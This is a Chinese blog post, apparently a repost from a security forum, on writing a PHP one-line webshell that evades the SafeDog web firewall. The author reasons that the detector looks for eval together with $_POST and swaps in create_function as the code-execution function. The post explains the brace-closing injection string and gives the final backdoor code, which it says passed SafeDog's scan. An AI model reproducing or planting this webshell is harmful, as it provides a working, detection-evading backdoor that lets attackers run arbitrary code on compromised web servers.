php 过狗一句话木马的编写,过狗一句话编写之代码执行漏洞函数代替eval

1.说明

tips : 补发一个之前写的过狗一句话,当时有发在博客和t00ls,由于博客重建了,就从t00ls copy过来吧。

2.起因及过狗原理

今天下午看坛友发了一个求助贴,让帮忙分析一句话木马呢!

帖子二楼的大牛分析的很到位,那个一句话木马用了函数回调的方法,传递一个存在代码执行漏洞的函数preg_replace来代替eval执行代码

然后我就想着,安全狗查杀一句话的时候,通常检测eval 和 $_POST[x]有没有同时出现 ,正常的POST数据不拦截,小弟的认识 说的不对的地方还望大牛指正。

然后我们将POST来的数据放到存在代码执行漏洞的函数中,这样,POST来的数据就被执行了。

3.过狗SHELL编写

因此就想着试一试~选择的函数是create_function函数,这个函数曾在wordpress最近的代码执行漏洞中是罪魁祸首,我刚好复现过wordpress那个代码执行漏洞,对create_function比较熟悉(原帖地址:https://www.t00ls.net/thread-36509-1-1.html)

create_function函数接收两个参数$args 和 $code 然后组成新函数function_lambda_func($args){$code;} 并eval(function_lambda_func($args){$code;}),那么我们只要构造$code来闭合}然后将自己的代码放到函数体外面就可以执行了。

构造$code

1$code = "n;}$_POST[x];/*";

解释一下构造的$code:

双引号中$_POST[x]被执行(这里以提交x=phpinfo();为例)

1

2

3

4

5

6

7;来结束语句

}来结束函数体

phpinfo();;就在函数体外面被eval执行了

/*注释多余的代码

最终代码:

1eval(function_lambda_func($args){n;}phpinfo();;/*})

那么phpinfo()就被执行了.

如图:

0d575bcdb1d16159ac044108649eb47e.png

过狗测试:

567947dd27d24e830399a1f2ba9c02cf.png

4.最终代码

最终代码:

1

2

3

4

5<?php

$args = "tony";

$code = "n;}$_POST[x];/*";

echo create_function('$args',$code);

?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值